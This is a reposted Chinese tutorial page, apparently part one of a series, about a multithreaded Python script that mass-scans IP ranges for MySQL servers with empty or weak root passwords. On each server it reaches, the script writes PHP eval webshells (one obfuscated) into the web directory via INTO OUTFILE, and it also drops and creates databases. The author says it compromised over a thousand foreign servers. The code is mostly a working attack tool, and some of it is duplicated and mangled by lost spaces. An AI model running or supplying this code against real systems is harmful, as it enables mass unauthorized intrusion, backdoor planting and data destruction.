加入收藏 | 设为首页 | 会员中心 | 我要投稿 辽源站长网 (https://www.0437zz.com/)- 云专线、云连接、智能数据、边缘计算、数据安全!
当前位置: 首页 > 站长资讯 > 外闻 > 正文

高效python脚本,6小时获取上千台MySQL数据库服务器(上)

发布时间:2019-01-29 05:39:51 所属栏目:外闻 来源:合天智汇
导读:01前言 一开始,我只是想把一个AWD下的批量写马工具升级改造一下,记录一下期间的心得体会,本以为现在mysql弱口令连接的漏洞很少。但当最后工具完成后,一测试扫描外国网段,半天时间竟然就成功连接了上千台数据库服务器。 02起因 这个脚本最开始的构思是

但直接连接mysql端口速度特别慢,如果主机未开放端口,要6秒才返回端口不能连接的信息。为了改善效率,不采用直接连接mysql端口的做法。可以改为先扫描主机是否存活,或者端口是否开放,再进行连接。在此,我选择了提前检测主机是否存活。(如果要选择提现检验端口是否开放,注意选择SYN快速扫描,普通的TCP连接端口扫描速度也不快。)

增加一个ping_ip函数,可参考

http://blog.51cto.com/happylab/1742282

高效python脚本,6小时获取上千台MySQL数据库服务器(上)

加上判断语句。若主机不存活,则退出

高效python脚本,6小时获取上千台MySQL数据库服务器(上)

改好后再测试发现时间缩短一半。

以下是这次的完整代码-3:

  1. #!/usr/bin/envpython 
  2. #coding=utf-8 
  3. #author:Blus 
  4.  
  5. importMySQLdb 
  6. importthreading 
  7. importtime 
  8. importIPy 
  9.  
  10. defmysql_connect1(ip,shell_url,shell_content): 
  11. #尝试数据库连接 
  12. try: 
  13. conn=MySQLdb.connect(host=ip,user='root',passwd='123456',db='',port=3306) 
  14. cur=conn.cursor() 
  15.  
  16. #若数据库连接成功,开始写马 
  17. try: 
  18.  
  19. sql_insert= "SELECT '{}'into outfile'{}';".format(shell_content,shell_url) 
  20. printsql_insert; 
  21.  
  22. cur.execute(sql_insert) 
  23. print"写入成功".decode() 
  24.  
  25. exceptException as e: 
  26. print"写入错误" 
  27. printe; 
  28. return 
  29. cur.close() 
  30. conn.close() 
  31.  
  32.  
  33. exceptMySQLdb.Error,e: 
  34. print"Mysql_Error: %d: %s" % (e.args[0], e.args[1]) 
  35. return 
  36.  
  37. if__name__ == "__main__": 
  38. #内容设置 
  39. shell_url='../../../../wamp64/www/erg2313231.php'; 
  40. shell_content='<?php@eval($_POST[cmd]); ?>' 
  41. #设置同时运行的线程数 
  42. threads=25 
  43. #要检测的IP网段 
  44. ip1= IPy.IP('192.168.0.0/16') 
  45.  
  46.  
  47. forip in ip1:     
  48. ip=str(ip) 
  49. while(threading.activeCount()>threads): 
  50. time.sleep(1) 
  51. threading.Thread(target=mysql_connect1,args=(ip, shell_url,shell_content)).start() 
  52. print'检测结束' 
  53.  
  54.  
  55. 05 
  56. 改善速度,增加ping函数 
  57.  
  58. 但直接连接mysql端口速度特别慢,如果主机未开放端口,要6秒才返回端口不能连接的信息。为了改善效率,不采用直接连接mysql端口的做法。可以改为先扫描主机是否存活,或者端口是否开放,再进行连接。在此,我选择了提前检测主机是否存活。(如果要选择提现检验端口是否开放,注意选择SYN快速扫描,普通的TCP连接端口扫描速度也不快。) 
  59.  
  60. 增加一个ping_ip函数,可参考 
  61. http://blog.51cto.com/happylab/1742282 
  62.  
  63.  
  64. 加上判断语句。若主机不存活,则退出 
  65.  
  66.  
  67.  
  68. 改好后再测试发现时间缩短一半。 
  69.  
  70. 以下是这次的完整代码-3: 
  71. #!/usr/bin/envpython 
  72. #coding=utf-8 
  73. #author:Blus 
  74.  
  75. importMySQLdb 
  76. importthreading 
  77. importIPy 
  78. import time 
  79. importsubprocess 
  80. defmysql_connect1(ip,shell_url,shell_content): 
  81.  
  82. ifnot(ping_ip(ip)): 
  83. #printip,"down" 
  84. return 
  85.  
  86. #尝试数据库连接 
  87. try: 
  88. conn=MySQLdb.connect(host=ip,user='root',passwd='',db='',port=3306) 
  89. cur=conn.cursor() 
  90.  
  91. #若数据库连接成功,开始写马 
  92. try: 
  93. #如果有重名数据库则删除该数据库 
  94. cur.execute('DROPdatabase IF EXISTS `A123456`;') 
  95. cur.execute('createdatabase A123456;') 
  96. except: 
  97. printip,"数据库创建错误" 
  98. return 
  99. cur.execute('useA123456;') 
  100.  
  101. try: 
  102. cur.execute('CREATETABLE A123456.B123456 (C123456 TEXT NOT NULL );') 
  103. printip,"表创建成功" 
  104. except: 
  105. printip,"表创建失败" 
  106. return 
  107.  
  108. try: 
  109. shell_content2="INSERTINTOB123456(C123456)VALUES ('{}');".format(shell_content) 
  110. cur.execute(shell_content2) 
  111. printip,"一句话插入成功" 
  112. except: 
  113. printip,"一句话插入失败" 
  114. return 
  115. #这里设置小马导出后的路径,该目录需要有写权限且mysql没有开启secure-file-priv 
  116. try: 
  117. sql_insert="SELECTC123456 from B123456 into outfile '{}';".format(shell_url) 
  118. cur.execute(sql_insert) 
  119. printip,"写入成功".decode() 
  120. exceptException as e: 
  121. printip,"写入错误",e 
  122. return 
  123.  
  124. cur.close() 
  125. conn.close() 
  126. return 
  127. exceptMySQLdb.Error,e: 
  128. print"Mysql_Error: %d: %s" % (e.args[0], e.args[1]) 
  129. return 
  130.  
  131. defping_ip(ip): 
  132. #调用ping命令,如果不通,则会返回100%丢包的信息。通过匹配是否有100%关键字,判断主机是否存活 
  133.  
  134. cmd= 'ping -w 1 %s' % ip 
  135. p= subprocess.Popen(cmd, 
  136. stdin=subprocess.PIPE, 
  137. stdout=subprocess.PIPE, 
  138. stderr=subprocess.PIPE, 
  139. shell=True) 
  140. result= p.stdout.read() 
  141. regex= result.find('100%') 
  142. #未匹配到就是-1 
  143. #未匹配到就是存活主机 
  144. if(regex == -1): 
  145. return1 
  146. else: 
  147. return0 
  148.  
  149.  
  150. if__name__ == "__main__": 
  151. start= time.time() 
  152. #内容设置 
  153. shell_url='../../../../wamp64/www/erg2313231.php'; 
  154. shell_content='<?php($_=@$_GET[2]).@$_($_POST[1323222222])?>' 
  155.  
  156. #设置同时运行的线程数 
  157. threads=25 
  158.  
  159. #要检测的IP网段 
  160. ip1= IPy.IP('192.168.0.0/24') 
  161.  
  162. forip in ip1:     
  163. ip=str(ip) 
  164.  
  165. while(threading.activeCount()>threads): 
  166. time.sleep(1) 
  167. t1=threading.Thread(target=mysql_connect1,args=(ip, shell_url,shell_content)) 
  168. t1.start() 
  169.  
  170. #当线程只剩1时,说明执行完了 
  171. while(threading.activeCount()!=1): 
  172. time.sleep(1) 
  173. print"检测结束" 
  174. end= time.time() 
  175. printend - start 

06日志记录

接下来就是日志记录功能,记录哪些ip在线,哪些开放了3306端口,哪些已经连接成功。同时删除了小马写入的代码,因为在批量扫描,大部分服务器都是站库分离的情况下,该功能没什么用。

更改了以下几处:

(编辑:辽源站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

推荐文章
    热点阅读